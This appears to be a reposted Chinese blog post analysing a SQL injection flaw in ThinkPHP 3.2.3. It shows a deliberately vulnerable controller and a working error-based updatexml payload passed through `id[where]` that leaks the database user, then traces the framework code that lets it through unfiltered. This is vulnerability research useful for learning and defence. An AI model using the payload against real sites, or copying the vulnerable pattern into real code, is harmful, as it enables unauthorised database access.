首頁  >  文章  >  後端開發  >  一起聊聊thinkPHP3.2.3中sql注入漏洞

一起聊聊thinkPHP3.2.3中sql注入漏洞

WBOY
WBOY轉載
2022-04-11 18:56:526509瀏覽

這篇文章為大家帶來了關於thinkphp的相關知識,其中主要介紹了thinkPHP3.2.3sql注入漏洞的相關問題,其中還包括了m方法、d方法、u方法等相關內容,希望對大家有幫助。

一起聊聊thinkPHP3.2.3中sql注入漏洞

推薦學習:《PHP影片教學

前言

攻敵所必救:

  • ThinkPHP中的常用方法總結總結:M方法,D方法,U方法,I方法

  • Thinkphp3.2.3 安全開發須知

#建置:

  1. ##首先第一步就是必須先放在www目錄下(我是windows用的phpstudy)! ! ! !

  2. 建立資料庫,表名一定與你接下來要M的名字的相對應

  3. 連接資料庫的檔案不多說了,自行配置:ThinkPHP/Conf/convention.php

  4. 設定控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php

    <?phpnamespace  Home\Controller;use Think\Controller;class IndexController extends Controller {
        public function index(){
            $this->show('原来内容已经省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}}
  5. 測試:

    一起聊聊thinkPHP3.2.3中sql注入漏洞

#正文

payload:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

#確實報錯注入成功,一切都是因為這句程式碼的存在:

$data = M('user')->find(I('GET.id'));

I和M方法都沒有問題,真正的問題在於

    find 方法上,來自
  1. /ThinkPHP/Mode/Lite/Model.class.php##
     public function find($options=array()) {   
            // 根据复合主键查找记录
            $pk  =  $this->getPk();
            if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
                // 根据复合主键查询
                $count = 0;
                foreach (array_keys($options) as $key) {
                    if (is_int($key)) $count++; 
                } 
                if ($count == count($pk)) {
                    $i = 0;
                    foreach ($pk as $field) {
                        $where[$field] = $options[$i];
                        unset($options[$i++]);
                    }
                    $options['where']  =  $where;
                } else {
                    return false;
                }
            }
            // 总是查找一条记录
            $options['limit']   =   1;
            // 分析表达式
            $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
         	$resultSet          =   $this->db->select($options);//重要的一步
  2. 2.
_parseOptions:因為主要針對options[where]所以無關程式碼我全刪除了

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);
        // 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
    //上面均没用,到现在开始有用:?
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);//这里值得注意
        return $options;
    }
3.

_options_filter

到這裡就無了

一起聊聊thinkPHP3.2.3中sql注入漏洞而且上面的動作也會清除$options,所以這裡可能是進錯了

所以更正第二部的跟踪,改為

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }

3.buildSelectSql:位址同上

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

4.parseSql:位址同上

public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

##1 .parseWhere:同上

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {//直接满足,直接进入
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
        }
            return empty($whereStr)?'':' WHERE '.$whereStr;}
最後$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

##然後

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;

整個過程沒有任何過濾,seay分析thinkPHP太飛費勁了

PHPstorm斷點審計:

payload不變:

?id [where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)

還是追蹤find函數:

一起聊聊thinkPHP3.2.3中sql注入漏洞跟踪到這裡步入一下,繼續跟踪,跟踪到最後會跳出這個函數並且,值仍然沒有改變,同時步入下一個函數

一起聊聊thinkPHP3.2.3中sql注入漏洞經過核實,步入了另一個函數:

##繼續追蹤buildSelectSql:一起聊聊thinkPHP3.2.3中sql注入漏洞

繼續追蹤parseSql:一起聊聊thinkPHP3.2.3中sql注入漏洞

最後的程式碼變成了:一起聊聊thinkPHP3.2.3中sql注入漏洞

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user() ,0x7e),1)# LIMIT 1

還是debug起來方便,基本上不需要怎麼動腦推薦學習:《
PHP影片教學

以上是一起聊聊thinkPHP3.2.3中sql注入漏洞的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:csdn.net。如有侵權,請聯絡admin@php.cn刪除